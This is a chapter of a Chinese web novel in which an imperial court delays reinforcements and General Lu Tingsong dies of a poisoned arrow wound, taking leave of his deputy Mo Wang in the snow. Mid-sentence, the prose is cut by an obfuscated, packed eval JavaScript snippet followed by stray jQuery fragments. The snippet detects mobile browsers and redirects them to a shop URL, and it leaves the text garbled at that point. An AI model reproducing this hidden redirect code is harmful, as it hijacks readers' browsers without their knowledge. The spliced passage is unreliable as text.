87. 第 87 章 旧事三十
作品:《照破山河》 第一封八百里加急传信回到阙都时,绥京大雪初晴。
兵部尚书手持北境来的第一封求援信,神色凝重地呈报给龙椅上的顾来歌。
“陛下,北境大捷,然陆庭松将军重伤,军中伤亡惨重,挛鞮顿败而不溃,局势依然危急,陆将军恳请朝廷,速发援兵。”
顾来歌眉头紧锁,正要开口,一旁的伶舟洬却轻轻咳了一声,缓步出列。他面容白净,眼神深邃,带着一种洞察世事的淡然。
“陛下,”伶舟洬的声音平和,却带着不容置疑的份量,“陆将军乃国之柱石,骁勇善战,既已重创南洹主力,想必暂时稳住局势应无所难。”
顾来歌摇了摇头,声音低了下去:“我比你更知晓相礼。他一向处事硬撑不假,但也绝不会拿着将士的项上人逞强,所以此次……应当是真的撑不住了。”
伶舟洬与他想到一处去了,面上也是抚不平的担忧:“臣所忧心亦是如此。但,此时贸然派遣大军北上,粮草辎重调动繁琐,恐劳民伤财。况且……”
他话锋微转,似有深意:“北境军报,一来一回已有数日,如今局势是否又有变化,尚未可知。”
顾来歌皱了下眉,将求援信规整放置一旁,刻意沉声问道:“你待何如?”
“依臣浅见,不若先派快马精骑,携御医及珍贵药材前往探视陆将军伤势,并详查敌情。若局势果真万分危急,再调大军不迟。”
伶舟洬垂着眸子,语气谦卑恭顺,见顾来歌并没有打断,便继续往下缓缓说道:
“如此,既可示陛下天恩,体恤将士,亦可避免仓促出兵,为人所乘。”
顾来歌闻言沉吟片刻,觉得伶舟洬所言似乎也有道理,加之对陆庭松能力的信任,便点头道:
“伶舟爱卿所言甚是。那就先依此议,选派得力御医和精锐骑兵,携带药物,火速前往北境探明情况,抚慰将士。”
————
再度击退敌军后,陆庭松的脸色在火把映照下已苍白如纸。他坚持着部署好防御,才回到军帐。军医重新为他包扎肋下崩裂的伤口,忧心忡忡:
“将军,箭创颇深,万不可再动气用力,需静养……”
陆庭松摆了摆手,示意军医退下。他脸色苍白,却未给自己一分一毫的喘息,便立于巨幅舆图之前,听罢亲卫颤声禀报,倏然转身,大步跨至对方面前,声音沉冷比霜雪更深:
“你——再说一次。”
亲卫单膝跪地,头颅深垂,几乎触地:
“将军……来的唯有太医数人,骑兵不过五百……并无援军。”
陆庭松眉峰骤紧:“是‘未至’,还是‘不至’?”
亲卫喉头一哽,伏身更低:
“陛下口谕……援军随除夕同至。”
陆庭松的脸色,在那一瞬变得极难看。只见他嘴唇哆嗦着,是旁人从未见过的失态。
此时连腊八都还尚远,待到除夕,恐怕早已力竭。
陆庭松刚要说些什么,却听外头一声:
“是莫副将回来了!回来了!”
他闭了闭眼,强压下心头翻涌的种种情绪,越过那名亲卫,大步迎出帐外。
风雪中,莫望一身血甲残破,脸上冻裂的口子凝着黑紫的血痕,唯有一双眼睛亮得骇人。他见到陆庭松,未及行礼,便嘶声道:
“将军!末将幸不辱命,三千弟兄……回来了十七人!”他声音哽咽,却瞬间转为急切,“末将方才入营,只见御医车马,援军何在?!”
陆庭松看着他,缓缓摇头,声音沉痛:“援军,除夕方至。”
莫望瞳孔骤缩,脸上瞬间血色尽褪,颤着双手压低声线,问道:“……朝中,可有人挑拨是非?”
陆庭松却缓缓摇了摇头。可他还有话还未说出口,忽而觉得心脏上被人重重一锤,砸得五脏六腑都在狂颤不止。
一时之间,分不清是痛是懵的反胃,从肚脐一路爬上喉咙。
刹那间陆庭松身形不稳,晃了两下后抬手抚上自己的额角,咬着牙想缓过这阵来势汹汹的眩晕。
“将军……?”
“没事,我……”他话说一半,耳边却在忽然炸开尖锐的耳鸣,此刻眼前人重影模糊,只觉在不知是他是己的晃动中天旋地转。
陆庭松再也撑不住沉重的喘息,左手抚上胸口,弯下腰去。
“呕……”
莫望面色一僵。陆庭松眼前却逐渐清明,眸光微动,下意识看向地面——
那是一滩黑色的血。
“将军!”
“军医!快传军医!”
帐内顿时乱作一团。军医连滚爬爬地赶来,搭脉一看,脸色骤变。
他仔细查看陆庭松肋下那处原本看似普通的箭伤,只见周围肌肤不知何时已泛起不祥的青黑色,隐隐有腥臭之气。
“毒……是毒箭!”军医声音发颤,“此毒阴狠,潜伏至今才发作!将军连日操劳,气血翻涌,加速了毒性攻心!”
“传令……”他用尽最后力气,声音微弱却清晰,“军中事务,暂由王副将代理……严防死守……等待朝廷援军……”话音未落,他便彻底陷入了昏迷。
在一次敌军退去的间隙,陆庭松从短暂的昏厥中醒来,精神竟回光返照般好了些许。他屏退左右,只留下最信任的亲卫队长。
“取纸笔来。”他的声音微弱,却异常清晰。
亲卫队长含泪奉上。陆庭松的手颤抖得厉害,几乎握不住笔,但他仍坚持着,就着昏暗的灯火,在白纸上缓缓写下数行字。字迹不复往日力透纸背的遒劲,显得有些虚浮,却依旧能辨。
他没有写长篇大论,看似挥笔时洋洋洒洒,实则只有寥寥数语。写罢,他仔细折好,放入一枚普通信函,以火漆封缄,郑重地交到亲卫队长手中。
“此信……不必经驿传,你亲自带回阙都……交予我夫人。”他凝视着亲卫队长的眼睛,目光决绝中有一丝难以言喻的温柔与歉疚,“务必,务必,务必……拜托了。”
亲卫队长重重叩首,将信函贴身藏好,声音哽咽:“将军放心!末将必以性命护此信周全,亲手交与夫人!”
————
岁末,南洹战事方酣。大戠将士力战数合,甲胄尽染,弓矢几绝,犹据垒死守。时值腊月二十九,军中炊烟断续,士卒皆以雪和麦屑而食。然士气未堕,夜则举火鸣角,昼则列阵如云。
及除夜,忽闻北麓鼓声震天,大戠援军披雪而至,旌旗蔽野,铁甲映寒。遂开城合击,声若雷霆。
南洹守卒见旌旗而士气倍增,内外合击,斩首三千级,溃其渠帅。敌阵遂崩,伏尸塞川,辎重尽弃。
大好消息飞回越东时,陆庭松眼中终于闪过一丝光亮。
“你们……可以回家了吗……”此刻他人在榻上,意识昏沉,什么也看不清了。
他说话时气息极虚弱,只是发出这几个音的气声,都痛得又是一身汗淋漓,却还要扶着莫望的手臂艰难起身,一步一步走出帐外,下一秒便又跪倒在地。
莫望脸上泪痕交纵,他死死抓住陆庭松的小臂,想把人重新扶起来,却见陆庭松缓缓摆了下手,就那么靠在帐前,几乎被大雪埋没。
他单膝跪地,撑住陆庭松的肩头,几乎是从牙缝中挤出的哽咽:“回,回……陆将军,我们回,我们一起回……”
他声音抖得都快要听不清,此刻只觉得冷。那股寒意从铁衣窜进他的五脏六腑,又一寸一寸爬过脉络,将他整个胸腔冻得生疼。
陆庭松半阖着眸子,闻言低低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719928|183255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一笑,几不可闻的摇了摇头:
“……我回不去了。”
那声音轻得好似一声叹息,稍不注意去听,就要随风散去了。
莫望的眼泪一下就涌了出来,眼泪砸在雪地,转眼就消失不见了:
“回得去,将军,回得去。”他哽咽似孩童:“回得去,回得去,回得去的,将军,我们都能回去,我们……”
可怜除了“回得去”这三个字,竟不知还能说些什么,来安慰他自己了。
陆庭松嘴角笑意不减,声音带着一丝困倦,越来越低了:“莫望,回去讨赏,可别忘了我啊。”
莫望狠狠抹了一把眼泪,答道:“我不忘,我死也不忘,我……”他连着说了几句,却忽而反应过来,连着“呸呸呸”了好几声,语气几乎算得上惊恐:
“不,不,不不不,我们都回得去的,将军,陆将军,是您先说我们都要活着回去的,回去……”
陆庭松手指微微一动,他想伸手拍拍面前这位副将的肩膀,如往常一般调笑,逗一句“以后做了大将军也要这样哭吗?”
但他抬不起胳膊了,喉咙也烧得厉害,痛得快要说不出话来了。
莫望将头埋深深埋在自己掌心,泣不成声。
“你回去吧,莫望。”陆庭松笑不动了,他看着莫望的肩膀,轻声说:“你回吧。雪大了。”
莫望张了张口,却发现自己已发不出一丝声音。远方好像有人在撕心裂肺的哭,穿过漫天大雪,落入他和陆庭松耳中。
他说什么?
“我不走”还是“我陪你”呢。
眼前妻女笑靥的画面尚且冒出一瞬,就被陆庭松轻轻一推左肩打个粉碎。他猛然回神,又看向陆庭松的眼睛。
“你家里人,还在等你。”陆庭松喘了口气:“我自己……睡一会儿。”
远处援军又在一声声催着,莫望禁不住朝着那边看了一眼,再回头时,陆庭松冲他微微点了点头。
他是真的一丝力气也没有了,声音低得莫望附耳过去才勉强可以听清:
“你回吧,回吧。把我……我的话也带回去,给我妻女……”
他原还想说一句“今天还是我女儿的生辰”,但临了了,却怎么也说不出口。
让战友把将死之人的祝福托回去,只怕那个小丫头会哭得更厉害吧。
更何况等他们回到绥京,恐怕也早已到来年开春了。
恨他长相思,恨他常相思,更恨此生不能相思。
莫望不知陆庭松心中所想,只看见他极缓的眨了一下眼。他的眼泪已流不出来了,就在那样含着笑意的眼神中缓缓直起身子,站了起来。
“……好。”他答。
陆庭松感觉到自己的身体一点一点冷了下去,他看着莫望后退几步,最后决然旋身,艰难地朝前踏出第一步。
然后是第二步,第三步。
他就那样看着,直至人的身影彻底消失在雪雾中,才心满意足的、真心实意的笑起来。
笑着笑着,却惊觉脸上一片温热,原是在一片血腥气中,闻到了一片似有若无的兰花香。
临终之际,其实并没有想象中那样忆起什么往事,反而想起某年一个春三月的寻常天。
那日妻说天色正好,不妨前去赏新开的桃花,于是他特意带上纸笔,想要描摹妻子花下颦颦。
可惜还没画完,那副画卷第二天就被府中管事当作闲暇画作私自卖了出去。
后来罚过管事却也于事无补,到最后两人也没能寻回那幅桃花。随着时日渐去,也就这样成了他们生活中不算那么重要的一隅之地。
陆庭松朝着关中的方向抬起头,最后看了一眼故乡的月亮。
原来他此生憾事,不过一纸流水桃花。

